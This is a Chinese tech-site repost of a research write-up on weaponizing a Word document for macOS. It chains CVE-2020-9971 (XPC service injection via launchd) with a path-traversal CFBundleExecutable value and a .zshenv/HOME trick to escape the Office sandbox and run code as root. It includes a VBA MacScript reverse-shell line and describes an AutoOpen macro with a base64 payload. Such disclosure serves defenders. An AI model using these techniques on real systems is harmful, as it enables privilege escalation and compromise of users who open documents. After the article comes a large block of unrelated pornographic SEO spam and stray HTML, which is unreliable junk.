《電子技術應用》
您所在的位置:首頁 > 通信與網絡 > 業界動態 > 利用CVE-2020-9971繞過Microsoft Office的應用程序沙箱

利用CVE-2020-9971繞過Microsoft Office的應用程序沙箱

2021-07-12
來源:嘶吼專業版
關鍵詞: 漏洞 Word macOSiOS

  在本文中,研究人員展示了他們如何利用已發布的 macOS/iOS 權限提升漏洞Word 文檔武器化,解除應用程序沙箱限制并獲得更高權限。

  CVE-2020-9971 是 macOS/iOS 中的一個邏輯漏洞,可用于穩定的提權漏洞。在這篇文章中,研究人員 (@R3dF09) 提到它也可以在最受限制的應用沙箱中運行,因此研究人員決定對其進行測試并使用武器化的 Word 文檔繞過 Microsoft Office 2019(適用于 Mac)應用沙箱。為了完成這個任務,研究人員不得不使用一些有趣的技巧來繞過 Apple 的文件隔離。

  CVE-2020-9971位于launchd進程中,與XPC Services機制有關。這種機制提供了進程間通信,允許開發人員創建為其應用程序執行特定任務的服務。這通常用于將應用程序拆分為更小的部分,從而提高可靠性和安全性。launchd是mac系統下通用的進程管理器,是mac系統下非常重要的一個進程,一般來說該進程不允許直接以命令行的形式調用。只能通過其控制管理界面,launchctl來進行控制。launchd主要功能是進程管理??梢岳斫獬墒且粋€常駐在后臺的進程,根據用戶的配置,來響應特定的系統事件。launchd既可以用于系統級別的服務,又可以用于個人用戶級別的服務。

  每個進程都有自己的域,由 launchd 管理,其中包含有關進程可用的 XPC 服務的信息。蘋果聲稱只有擁有者進程才能修改自己的域,但該漏洞的核心漏洞是能夠將任意 XPC 服務添加到任意進程域中,然后觸發它在該進程的上下文中運行。起初,攻擊者將自制的 XPC 服務“注入”到具有 root 權限的特定進程的域中(systemsoundserverd)。開發者還使用了 XPC 服務的一個眾所周知的功能來監聽套接字以觸發和啟動它。

  接下來,研究人員將描述成功將 Word 文檔武器化并繞過 Word 應用程序沙箱的步驟。該研究是在易受 CVE-2020-9971 攻擊的 macOS 10.15.4 和當時最新版本的 Microsoft Office 2019 上進行的,但這無關緊要,因為該漏洞在操作系統端。

  漏洞利用

  研究人員的第一個目標是創建一個獨立的命令行漏洞利用。在這個階段,研究人員認為他們只需要刪除它并從武器化的 Word 文檔中執行它即可,但實際情況并非如此。無論如何,研究人員用 XCode 創建了一個應用程序,附帶一個簡單的 XPC 服務,它執行以下步驟:

  1.查找研究人員要使用的 root 特權進程的 PID。正如研究人員已經知道不可能在 Office 應用沙箱中執行 ps 一樣,研究人員改為使用 launchctl 打印系統的輸出,它顯示了系統中的進程域。此時研究人員注意到systemoundserverd的進程域是在啟動后延遲相當長的時間創建的,所以研究人員改用launchservicesd的進程域;

  2.將研究人員的 XPC 服務注入到找到的 PID 的進程域中;

  3.通過打開 TCP 套接字觸發研究人員的 XPC 服務的啟動;

  附帶的XPC服務只創建一個文件(表示成功),并配置為在指定的TCP端口上偵聽。漏洞利用和 XPC 服務都存儲在同一個應用程序包中,但請注意研究人員有兩個不同的可執行文件。

  通過這個獨立的漏洞利用,研究人員能夠從普通用戶那里獲得 root 權限,現在是時候開始實現研究人員的最終目標了——繞過沙盒。

  繞過沙盒

  研究人員的最終目標是使用此漏洞將 Word 文檔武器化,以繞過應用程序沙箱。其基礎是能夠從這個Word文檔中執行shell命令,這可以通過Microsoft Office中的其他漏洞實現,或者更容易通過VBA宏實現,這讓研究人員只剩下說服用戶按下“啟用宏”的工作。更多關于針對 Mac 用戶的基于宏的攻擊請點此https://perception-point.io/mac-isnt-safe-how-do-you-like-them-apples/查看。對于這個概念驗證,研究人員將使用 VBA 宏。

  在 Office 應用沙箱的上下文中獲取 bash shell 很簡單,然后利用這些限制。研究人員所要做的就是偵聽特定端口(例如 netcat)并從 Word 文檔中執行以下 VBA 宏:

  MacScript(“do shell script ”“bash -I >&/dev/tcp/127.0.0.1/PORT 0>&1 &”“”)

  此時,在沙箱中有了一個shell,研究人員試圖轉儲并執行獨立漏洞,但它沒有奏效。經過一些研究,研究人員發現他們在沙箱中創建的每個文件都是使用“com.apple.quarantine”屬性創建的,這個可以通過 xattr 實用程序觀察到。

  隔離屬性是許多 macOS 保護的核心,最初,它僅附加到從互聯網下載的文件中,以執行多項安全檢查(例如文件隔離、GateKeeper、Notarization 和 XProtect)。自從引入了沙箱之后,這個屬性又增加了一個角色——標記從沙箱中創建的文件,并完全阻止它們被執行。以下是研究人員試圖從沙箱shell中轉儲和執行一個文件時產生的日志:

  kernel: (Sandbox) Sandbox: bash(1724) deny(1) process-exec* /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test

  kernel: (Quarantine) exec of /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test denied since it was quarantined by Microsoft Word and created without user consent, qtn-flags was 0x00000086

  可以看到研究人員可以執行 shell 命令,但不能轉儲和運行他們自己的可執行文件。對于可利用的可執行文件,研究人員有一個簡單的替換方法:只需在ctypes包的幫助下運行一個執行相同步驟的python腳本?,F在研究人員就能夠將 XPC 服務注入目標進程域,甚至觸發它的執行,但它沒有運行:XPC 服務可執行文件本身被標記為隔離屬性。

  現在是時候更深入地研究XPC服務的結構了。從外部看,它看起來像一個擴展名為“xpc”的單一文件,但它實際上是一個具有典型結構的文件夾:

微信圖片_20210712140230.jpg

  主要組件是 Info.plist 文件,它是一個描述服務的 XML 文件,以及可執行文件本身(位于 MacOS 文件夾內)。Info.plist 中的部分內容如下:

  < key >CFBundleExecutable< /key >< string >AppService< /string >

  研究人員不能使用他們自己的可執行文件,所以唯一的選擇是使用系統現有的可執行文件之一。研究人員嘗試在 CFBundleExecutable 項中使用完整路徑,但是 XPC 服務根本無法加載。很明顯,macOS 會在目錄 Contents/MacOS 中查找具有此項中指定名稱的可執行文件,也許研究人員可以使用路徑遍歷來指向現有的可執行文件,并嘗試將值更改為:

  < key >CFBundleExecutable< /key >< string >/////////usr/bin/yes< /string >

  令研究人員驚訝的是,它奏效了!當研究人員使用這個“假”XPC 服務執行漏洞利用時,研究人員發現了一個具有 root 權限的“是”進程,即使研究人員是從沙箱中執行的。

  因此,研究人員有能力以 root 權限運行進程,但似乎無法控制它們的參數。在團隊內部就這個問題進一步咨詢后,研究人員想出了一個好辦法,他們注意到可以控制新進程的環境變量,即運行一個 shell 作為 XPC 服務(例如 zsh),將其 HOME 目錄更改為研究人員可以控制,并將 shell 在執行開始時提供的文件放在那里(例如。zshenv)。

  將它們全部封裝在一起

  研究人員編寫了一個 python 腳本,執行以下步驟:

  1.將“。zshenv”文件寫入當前目錄,在沙箱內,路徑為 /Users/user/Library/Containers/com.microsoft.Word/Data,其中包含研究人員希望以 root 身份執行的載荷;

  2.查找研究人員要使用的 root 權限進程的 PID (launchservicesd);

  3.創建“假”XPC 服務,其中可執行文件指向 zsh,并將 HOME 環境變量設置為當前目錄;

  4.將“假”XPC 服務注入到找到的 PID 的進程域中;

  5.通過打開 TCP 套接字觸發 XPC 服務的啟動;

  然后研究人員將該腳本封裝為 base64 格式,以便從VBA宏中執行它,并將其插入到 AutoOpen 子例程中。具體演示過程請點此,其中有效載荷只在/tmp/hacked中創建一個文件(請注意,該文件是以 root 身份創建的,并且沒有隔離位)。

  總結

  研究人員證明了 CVE-2020-9971 可以用作沙箱逃逸漏洞,以 Word 文檔作為研究人員的 POC。在這個過程中,研究人員發現了一種通過 XPC 服務啟動任意可執行文件的方法(在 CFBundleExecutable 值中進行路徑遍歷),特別是執行 shell 腳本(通過控制 HOME 環境變量和轉儲 .zshenv 文件的技巧)。

  這個沙箱逃逸漏洞使研究人員能夠為 macOS 創建一個快速、簡單和廉價的武器化 Word 文檔,這嚴重危害了系統安全。

  安全建議

  1.避免打開陌生文檔,尤其是運行來自未知來源或你不完全信任的發送方;

  2.使用能夠處理此類攻擊的綜合性安全產品。




電子技術圖片.png

本站內容除特別聲明的原創文章之外,轉載內容只為傳遞更多信息,并不代表本網站贊同其觀點。轉載的所有的文章、圖片、音/視頻文件等資料的版權歸版權所有權人所有。本站采用的非本站原創文章及圖片等內容無法一一聯系確認版權者。如涉及作品內容、版權和其它問題,請及時通過電子郵件或電話通知我們,以便迅速采取適當措施,避免給雙方造成不必要的經濟損失。聯系電話:010-82306118;郵箱:aet@chinaaet.com。
热re99久久精品国产66热_欧美小视频在线观看_日韩成人激情影院_庆余年2免费日韩剧观看大牛_91久久久久久国产精品_国产原创欧美精品_美女999久久久精品视频_欧美大成色www永久网站婷_国产色婷婷国产综合在线理论片a_国产精品电影在线观看_日韩精品视频在线观看网址_97在线观看免费_性欧美亚洲xxxx乳在线观看_久久精品美女视频网站_777国产偷窥盗摄精品视频_在线日韩第一页
  • <strike id="ygamy"></strike>
  • 
    
      • <del id="ygamy"></del>
        <tfoot id="ygamy"></tfoot>
          <strike id="ygamy"></strike>
          国产精品一区二区在线观看| 亚洲一区二区精品| 一区二区国产精品| 国产综合久久久久久鬼色| 欧美日韩国产综合久久| 欧美午夜无遮挡| 久久激五月天综合精品| 国模精品一区二区三区色天香| 亚洲女同在线| 亚洲欧洲一区二区三区久久| 欧美日韩亚洲免费| 性欧美暴力猛交69hd| 久久精品国产亚洲aⅴ| 欧美成人xxx| 国产一区二区三区自拍| 亚洲国产中文字幕在线观看| 久久九九99| 久久九九全国免费精品观看| 一区二区三区高清视频在线观看| 性久久久久久久久久久久| 欧美性猛交xxxx免费看久久久| 亚洲精品一区二区三区四区高清| 久久精品99国产精品酒店日本| 久久精品国产99国产精品澳门| 亚洲大黄网站| 亚洲高清不卡在线观看| 最新日韩av| 欧美黄色片免费观看| 国产精品久久久久一区| 亚洲乱码久久| 国产欧美一区二区色老头| 一本色道久久综合狠狠躁篇怎么玩| 久久久中精品2020中文| 国产欧美日韩亚洲| 狠狠色噜噜狠狠狠狠色吗综合| 母乳一区在线观看| 国产精品免费观看视频| 久久久久久欧美| 亚洲精品一区中文| 国产日韩精品视频一区| 欧美aaaaaaaa牛牛影院| 亚洲欧美日韩直播| 久久久久久久久久看片| 欧美喷潮久久久xxxxx| 欧美福利在线观看| 亚洲精品黄色| 先锋影音国产精品| 亚洲日本电影在线| 亚洲天堂av高清| 久久久国产成人精品| 国产精品久久久久久久久搜平片| 国产日韩在线一区二区三区| 久久精品成人| 国内精品久久久久国产盗摄免费观看完整版| 免费不卡欧美自拍视频| 欧美ed2k| 欧美日韩精品一区二区天天拍小说| 一区二区三区不卡视频在线观看| 欧美激情影音先锋| 欧美激情a∨在线视频播放| 亚洲人体偷拍| 久久人91精品久久久久久不卡| 欧美专区一区二区三区| 亚洲国产成人久久| 先锋a资源在线看亚洲| 久久综合久久综合久久| 久久国产欧美精品| 欧美精品一区在线播放| 亚洲男人第一网站| 香蕉久久一区二区不卡无毒影院| 国产午夜精品福利| 久久一区二区三区超碰国产精品| 亚洲日本一区二区三区| 亚洲欧美日韩国产一区二区| 久久视频在线视频| 亚洲精品自在在线观看| 欧美日一区二区三区在线观看国产免| 国产日本精品| 美国十次成人| 久久久精品一品道一区| 国产精品久久久一区二区三区| 蜜桃av一区二区三区| 亚洲国产欧美另类丝袜| 亚洲欧洲在线免费| 国产精品超碰97尤物18| 日韩一区二区精品葵司在线| 在线视频一区二区| 久久日韩粉嫩一区二区三区| 亚洲欧美在线另类| 国产精品一区二区男女羞羞无遮挡| 好吊色欧美一区二区三区视频| 亚洲日本一区二区三区| 国产精品大全| 久久久噜噜噜久久中文字幕色伊伊| 亚洲欧美日韩国产综合| 亚洲电影免费在线| 亚洲欧美怡红院| 久久精品国产亚洲高清剧情介绍| 午夜精品久久久久久久男人的天堂| 国产精品美女久久久久av超清| 亚洲影院免费观看| 久久久精品一区二区三区| 国产一区久久久| 亚洲伊人一本大道中文字幕| 老牛国产精品一区的观看方式| 国产在线麻豆精品观看| 国产一区二区三区久久悠悠色av| av不卡在线看| 美女任你摸久久| 久久精品国产亚洲一区二区三区| 国产一区视频网站| 欧美精品日韩一区| 午夜精品视频一区| 欧美日韩国语| 亚洲高清网站| 亚洲一区制服诱惑| 亚洲一区二区三区免费在线观看| 亚洲欧洲日本一区二区三区| 国产午夜精品美女毛片视频| 国产精品青草久久久久福利99| 国产伦精品一区二区三区| 欧美激情视频一区二区三区不卡| 99精品国产99久久久久久福利| 国产一区二区三区成人欧美日韩在线观看| 国产精品资源| 香蕉乱码成人久久天堂爱免费| 国产亚洲视频在线观看| 国产精品久久久久永久免费观看| 欧美日韩天天操| 亚洲在线第一页| 国产亚洲高清视频| 欧美一区二区三区免费大片| 亚洲欧美激情诱惑| 欧美国产日韩精品| 久久精品成人欧美大片古装| 欧美日韩一区二区视频在线| 亚洲图片欧美午夜| 99在线精品免费视频九九视| 性感少妇一区| 国产精品一区二区你懂的| 久久久久天天天天| 日韩视频在线播放| 国产精品久久久久久久午夜片| 红桃视频国产一区| 亚洲免费观看高清完整版在线观看| 欧美一区久久| 欧美国产91| 欧美日韩成人精品| 亚洲区欧美区| 国产精品一区在线观看你懂的| 久久精品免视看| 久久国产视频网| 国产美女一区| 这里只有精品在线播放| 亚洲视频碰碰| 欧美激情视频给我| 欲香欲色天天天综合和网| 久久久国产一区二区三区| 国产伦精品一区二区三区视频孕妇| 亚洲国产精品va| 韩国女主播一区二区三区| 国产精品午夜电影| 久久综合色8888| 国产精品日韩在线观看| 欧美日韩在线影院| 在线视频免费在线观看一区二区| 久久久久国产一区二区| 欧美激情综合色| 一区二区三区视频在线| 午夜精品久久久久影视| 欧美在线日韩| 亚洲午夜精品一区二区| 伊人成人在线视频| 久久精品综合| 亚洲国产精品久久久久婷婷老年| 欧美日韩性视频在线| 欧美伦理视频网站| 久久久久国产一区二区三区| 欧美视频一区二| 久久视频在线看| 老司机aⅴ在线精品导航| 久久久噜久噜久久综合| 一本色道久久综合| 亚洲精品中文字幕在线观看| 另类国产ts人妖高潮视频| 久久精品日产第一区二区三区| 麻豆亚洲精品| 亚洲六月丁香色婷婷综合久久| 国产精品久久综合| 久久精品一区中文字幕| 亚洲另类视频| 亚洲免费黄色| 国产欧美一区二区三区在线老狼| 亚洲肉体裸体xxxx137| 欧美精品激情在线观看| 午夜精品视频网站| 国产精品成人在线观看| 亚洲精品欧洲| 亚洲美女尤物影院| 99精品99久久久久久宅男| 久久中文久久字幕| 欧美日韩在线播放三区| 牛牛精品成人免费视频| 一区二区三区波多野结衣在线观看| 亚洲福利在线看| 亚洲欧美日韩国产一区二区| 久久精品一区二区三区不卡牛牛| 国产日韩欧美91| 亚洲成人在线观看视频| 欧美精品系列| 国产精品一区二区久激情瑜伽| 亚洲激情视频在线观看| 国内精品久久久久久久影视蜜臀| 亚洲黄色在线看| 亚洲国内欧美| 亚洲欧洲99久久| 一本久久青青| 在线观看免费视频综合| 亚洲欧美国产高清| 国产精品毛片在线| 欧美精品一区二区三区高清aⅴ| 欧美日本亚洲韩国国产| 亚洲乱码精品一二三四区日韩在线| 韩日欧美一区二区| 最近中文字幕日韩精品| 国产精品丝袜91| 亚洲日本免费电影| 欧美日本高清一区| 欧美日韩爆操| 亚洲二区视频在线| 久久www成人_看片免费不卡| 亚洲三级影片| 久久久国产成人精品| 欧美大片在线看| 久久久久国产成人精品亚洲午夜| 欧美三级在线| 开心色5月久久精品| 亚洲激情视频网| 欧美激情亚洲另类| 国产精品日日做人人爱| 欧美午夜女人视频在线| 美女被久久久| 国产欧美一区二区三区在线看蜜臀| 午夜一区二区三视频在线观看| 国产精品在线看| 国产在线日韩| 欧美福利视频网站| 午夜精品久久久久久久久| 国产伦精品一区二区三区免费| 日韩一级网站| 国产欧美午夜| 亚洲精品乱码久久久久久蜜桃91| 久久精品观看| 亚洲一区二区在线免费观看| 国产精品毛片在线看| 欧美在线|欧美| 亚洲三级视频| 亚洲国产日韩一级| 国产精品99免费看| 欧美va天堂在线| 一区二区三区欧美在线| 亚洲电影在线播放| 在线视频国内自拍亚洲视频| 亚洲一区二区三区在线看| 欧美另类人妖| 韩日成人在线| 欧美国产在线电影| 久久精品亚洲精品| 国产一区二区激情| 欧美高清视频在线播放| 精品成人一区| 国产日韩综合| 久久亚洲春色中文字幕久久久| 欧美日韩美女一区二区| 激情小说另类小说亚洲欧美| 欧美看片网站| 国产精品毛片高清在线完整版| 在线成人激情| 国产精品久久久久久久久免费桃花| 欧美日韩视频在线观看一区二区三区| 亚洲黄色一区| 另类av一区二区| 欧美精品成人91久久久久久久| 久久久之久亚州精品露出| 欧美91视频| 亚洲欧美日韩另类精品一区二区三区| 国产美女诱惑一区二区| 免费亚洲电影| 国产美女高潮久久白浆| 在线综合+亚洲+欧美中文字幕| 亚洲欧美日产图| 午夜在线一区二区| 国产一区二区主播在线| 久久中文字幕一区二区三区| 国产亚洲成精品久久| 亚洲黄色av| 久久午夜激情| 亚洲精品在线三区| 亚洲欧美成aⅴ人在线观看| 久久久91精品国产| 国产精品黄视频| 欧美日韩一区二区视频在线观看| 久久精品国产999大香线蕉| 亚洲主播在线| 国产日韩欧美二区| 午夜精品久久久久久久白皮肤| 欧美日韩国内| 欧美成人国产va精品日本一级| 欧美午夜一区| 久久精品视频免费观看| 久久精品一区| 国产欧美亚洲一区| 黄色日韩在线| 久久久久久一区二区| 欧美中文在线视频| 午夜精品久久久久久久99樱桃| 在线播放亚洲一区| 亚洲永久视频| 亚洲欧美日韩网| 亚洲欧美制服中文字幕| 国内欧美视频一区二区| 久久综合伊人77777尤物| 一本色道久久综合狠狠躁的推荐| 欧美人与禽猛交乱配| 99re6这里只有精品| 免费亚洲电影在线| 国产精品国产精品| 国产精品久久久久久五月尺|